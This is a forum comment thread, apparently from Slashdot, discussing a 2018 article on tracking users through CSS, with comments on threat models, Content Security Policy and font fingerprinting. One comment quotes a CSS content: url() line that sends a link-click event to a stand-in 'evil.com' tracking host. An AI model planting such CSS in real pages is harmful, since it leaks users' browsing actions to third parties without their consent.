News for hackers. Stuff that matters.
Re:Tracking Users with CSS (2018) by saagarjha on Wednesday January 23, 2019 @05:13AM (#18977070)
This article seems to have a threat model where a website is “compromised” into sending user data to a third party, but I don’t really see anything that protects users from a website whose owner actively wants to track them. This is an odd threat model to have.

Also, as an aside:

> For example, by detecting whether the browser supports the Calibri font family, we can assume that the browser is running in Windows

I’m pretty sure that Safari has stopped allowing the use of third party fonts for exactly this reason, and now reports a standard set of fonts as being available.

Re:Tracking Users with CSS (2018) by javajosh on Wednesday January 23, 2019 @07:03AM (#18977521)
You can't assume that only the origin will be serving css. Most pages these days contain resources from all over the web, and most developers assume that CSS is safe to load from anywhere. What's not clear to me is whether 'evil' in content: url("https://evil.com/track?action=link_clicked" can point to anywhere on the web? Or just the origin of the css? Or...?
Re:Tracking Users with CSS (2018) by IggleSniggle on Wednesday January 23, 2019 @09:57AM (#18978610)
Depends on the Content Security Policy of the site.
Re:Tracking Users with CSS (2018) by javajosh on Wednesday January 23, 2019 @12:23PM (#18980271)
Yes, of course - but what is the default if you don't have a CSP? I guess I will have to do the experiment.
Re:Tracking Users with CSS (2018) by IggleSniggle on Thursday January 24, 2019 @10:52AM (#18989697)
Apologies, wasn't trying to be snarky. If you are configured to allow resources to load from anywhere, the CSS can load a resource from anywhere, not just the location it originated from. These kinds of configurations are increasingly less the default, however, so depending your specific setup, you may find that some origin policies are in place by default. This is entirely dependent on your chain, however, including browser settings.
Re:Tracking Users with CSS (2018) by wongarsu on Wednesday January 23, 2019 @08:11AM (#18977797)
There are multiple sites that allow users to set custom CSS. Consider for example subreddit styles on reddit or the customisation of Tumblr pages.

One big selling point for CSS was to separate layout and content exactly to allow other people to write CSS.

Re:Tracking Users with CSS (2018) by rebuilder on Wednesday January 23, 2019 @06:51AM (#18977479)
It's the threat model that the customers they're trying to bring in would care about.
Re:Tracking Users with CSS (2018) by Tepix on Wednesday January 23, 2019 @04:34AM (#18976919)
I like the idea of loading all linked content at page load time.
Re:Tracking Users with CSS (2018) by DaiPlusPlus on Wednesday January 23, 2019 @05:32AM (#18977148)
That’s bad for mobile - especially if a website has really large images for high-DPI devices. I think you can configure some mobile browsers to always download low-DPI assets to save on bandwidth.
Re:Tracking Users with CSS (2018) by Tepix on Sunday January 27, 2019 @04:21PM (#19013858)
You could make it optional. Right now there's almost nothing you can do when you visit a site even if you know it uses this technique.
Re:Tracking Users with CSS (2018) by AnaniasAnanas on Wednesday January 23, 2019 @06:08AM (#18977282)
By linked I hope that you mean things like images and CSS style-sheets rather than actual <a> links. If so, I totally agree with you, this kind of lazy loading that css utilises is a true privacy nightmare.
Re:Tracking Users with CSS (2018) by jwilk on Wednesday January 23, 2019 @06:14AM (#18977314)
Re:Tracking Users with CSS (2018) by fawelo123 on Thursday January 24, 2019 @06:46AM (#18987846)
Afaik doesnt work on Firefox.
Re:Tracking Users with CSS (2018) by fawelo123 on Thursday January 24, 2019 @06:58AM (#18987901)
And if you are using anything but Firefox you shouldn't worry about your browser history anyway. Due to fingerprintning you give all of your browsing history to Google regardless.
Re:Tracking Users with CSS (2018) by interfixus on Wednesday January 23, 2019 @02:17AM (#18976357)
Css is fundamentally breaching the contract by messing in any way whatsoever with content.
Re:Tracking Users with CSS (2018) by scegit on Wednesday January 23, 2019 @02:32AM (#18976419)